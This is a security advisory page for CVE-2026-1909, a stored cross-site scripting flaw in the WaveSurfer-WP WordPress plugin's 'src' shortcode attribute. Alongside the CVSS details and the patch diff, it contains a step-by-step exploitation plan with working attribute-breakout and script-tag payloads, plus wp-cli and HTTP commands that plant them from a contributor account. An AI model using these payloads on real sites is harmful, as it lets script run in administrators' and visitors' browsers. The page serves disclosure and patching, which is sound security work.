CVE-2026-1909

WaveSurfer-WP <= 2.8.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'src' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.8.4
Patched in
1d
Time to patch

Description

The WaveSurfer-WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's audio shortcode in all versions up to, and including, 2.8.3 due to insufficient input sanitization and output escaping on the 'src' attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.8.3
PublishedFebruary 5, 2026
Last updatedFebruary 6, 2026
Affected pluginwavesurfer-wp

What Changed in the Fix

Changes introduced in v2.8.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Detailed Exploitation Research Plan: CVE-2026-1909 ## 1. Vulnerability Summary The **WaveSurfer-WP** plugin (versions <= 2.8.3) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the plugin's custom handling of the standard WordPress `[audio]` and `[playlist]`…

Show full research plan

Detailed Exploitation Research Plan: CVE-2026-1909

1. Vulnerability Summary

The WaveSurfer-WP plugin (versions <= 2.8.3) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists within the plugin's custom handling of the standard WordPress [audio] and [playlist] shortcodes. When the plugin is active, it hooks into the wp_audio_shortcode_override and post_playlist filters to replace the default WordPress player with a WaveSurfer-based waveform player.

The implementation fails to sanitize or escape the src attribute provided in the shortcode before injecting it into the generated HTML output. An attacker with Contributor level permissions or higher can create a post containing a malicious shortcode attribute, which will execute arbitrary JavaScript in the context of any user (including administrators) who views the post.

2. Attack Vector Analysis

  • Shortcode: [audio] (and potentially [playlist])
  • Vulnerable Attribute: src
  • Authentication Level: Contributor+ (any user capable of creating/editing posts and using shortcodes)
  • Injection Point: The src attribute is reflected into the front-end HTML, typically within a <div> wrapper or an <audio> tag used to initialize the WaveSurfer.js player.
  • Preconditions: The WaveSurfer-WP plugin must be active.

3. Code Flow

  1. Registration: In wavesurfer-wp.php, the WaveSurfer_WP::includes() method registers the override filters:
    add_filter( 'wp_audio_shortcode_override' , array( $this, 'wp_audio_shortcode_override' ), 10, 2 );
    
  2. Shortcode Processing: When a page containing an [audio] shortcode is rendered on the front end, WordPress triggers the wp_audio_shortcode_override filter.
  3. Vulnerable Function: The wp_audio_shortcode_override($html, $attr) method (found in wavesurfer-wp.php) receives the shortcode attributes via the $attr parameter.
  4. Sinks: The function extracts $attr['src'] and incorporates it into a string of HTML. Because it lacks esc_attr() or esc_url() on this specific value, the attacker can break out of the HTML attribute context.
  5. Rendering: The resulting HTML is returned to the WordPress rendering engine and displayed on the page.

4. Nonce Acquisition Strategy

This vulnerability does not require a plugin-specific nonce for exploitation.

  • Payload Delivery: Storing the payload is done through the standard WordPress post creation/editing process. While this involves the core _wpnonce, the agent (as an authenticated user) can perform this via wp-cli or standard browser-based post saving.
  • Payload Execution: The execution happens passively when a user navigates to the published post. No nonce check is performed during the rendering of shortcodes in the WordPress lifecycle.

5. Exploitation Strategy

The goal is to create a post containing a shortcode that breaks out of an HTML attribute to execute JavaScript.

Step-by-Step Plan:

  1. Login as Contributor: Use the provided credentials to authenticate.
  2. Create a Malicious Post: Use the http_request tool to simulate a post save or use wp-cli to create a post with the XSS payload.
  3. Payload Selection: Since the src is likely placed inside a data- attribute or an src attribute of a div or audio tag, we will use a breakout payload.
    • Payload 1 (Attribute Breakout): [audio src='https://example.com/audio.mp3" onmouseover="alert(document.domain)" data-dummy="']
    • Payload 2 (Tag Breakout): [audio src='https://example.com/audio.mp3"><script>alert(1)</script>']
  4. Publish/Save: Ensure the post is saved. Contributors usually cannot "Publish" directly to the public but can "Submit for Review." However, they can view their own posts via the "Preview" functionality or if an Admin views the pending post.
  5. Trigger: Navigate to the post's permalink or preview URL using browser_navigate.

Example HTTP Request (Simulating Post Save):

URL: http://localhost:8080/wp-admin/post.php
Method: POST
Content-Type: application/x-www-form-urlencoded
Body:

action=editpost&
post_ID=[POST_ID]&
post_title=Waveform+Test&
content=[audio+src="https://example.com/test.mp3\"><script>alert(document.domain)</script>"]&
_wpnonce=[CORE_WP_NONCE]

6. Test Data Setup

  1. Plugin Status: Ensure wavesurfer-wp is installed and activated.
  2. Attacker User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  3. Target Post: A post created by the attacker.
    wp post create --post_type=post --post_title="Audio Gallery" --post_status=publish --post_content='[audio src="https://example.com/audio.mp3\"><script>alert(\"XSS\")</script>"]' --user=attacker
    

7. Expected Results

  • When any user (including Admin) visits the post URL, the HTML generated by WaveSurfer-WP will look similar to:
    <div class="wavesurfer-wp" ... data-src="https://example.com/audio.mp3"><script>alert("XSS")</script>" ...>
    
  • The browser will execute the injected <script> tag.
  • In the case of an attribute-based payload like onmouseover, the script will execute when the mouse enters the player area.

8. Verification Steps

  1. Confirm Storage: Use wp-cli to verify the shortcode is in the database:
    wp post get [POST_ID] --field=post_content
    
  2. Verify Front-end Output: Use http_request to fetch the post content and grep for the unescaped payload:
    # Look for the raw script tag or the attribute breakout
    http_request(url="http://localhost:8080/?p=[POST_ID]")
    
    Search the response body for: "><script>alert("XSS")</script>

9. Alternative Approaches

If the src attribute is used within a JavaScript initialization block (e.g., inside wp_localize_script or an inline <script> tag) instead of HTML attributes:

  • JS String Breakout Payload: [audio src='");alert(1);//']
  • Playlist Shortcode: If the [audio] shortcode is patched but the [playlist] shortcode is not, try:
    [playlist ids="1,2" src='"><script>alert(1)</script>']
    
    (Note: The playlist shortcode override is registered in post_playlist and should be investigated if the audio shortcode path differs from expectations.)
Research Findings
Static analysis — not yet PoC-verified

Summary

The WaveSurfer-WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'src' attribute of its audio shortcode. Due to insufficient input sanitization and output escaping, authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript into posts that executes when viewed by other users.

Vulnerable Code

/* wavesurfer-wp.php:671 */
		if ( isset( $attr['ogg'] ) ) { $link = $attr['ogg']; }
		if ( isset( $attr['src'] ) ) { $link = $attr['src']; }

		// Begin render
		$html .= '<div class="wavesurfer-block wavesurfer-audio">';
		$html .= '<div class="wavesurfer-player" ';

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wavesurfer-wp/2.8.3/wavesurfer-wp.php	2020-08-01 14:32:50.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wavesurfer-wp/2.8.4/wavesurfer-wp.php	2026-02-04 18:02:54.000000000 +0000
@@ -673,6 +673,8 @@
 		if ( isset( $attr['ogg'] ) ) { $link = $attr['ogg']; }
 		if ( isset( $attr['src'] ) ) { $link = $attr['src']; }
 
+		$link = sanitize_url( $link, array( 'http', 'https' ) );
+
 		// Begin render
 		$html .= '<div class="wavesurfer-block wavesurfer-audio">';
 		$html .= '<div class="wavesurfer-player" ';

Exploit Outline

The exploit targets the plugin's override of the native WordPress [audio] shortcode. An attacker with Contributor-level permissions creates or edits a post and inserts an [audio] shortcode with a malicious 'src' attribute, such as `[audio src='https://example.com/audio.mp3"><script>alert(1)</script>']`. When the shortcode is processed during page rendering, the plugin fails to sanitize the 'src' value, allowing the attacker to break out of the HTML attribute and inject a script tag. The payload executes whenever a user, including administrators, views the post or its preview.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.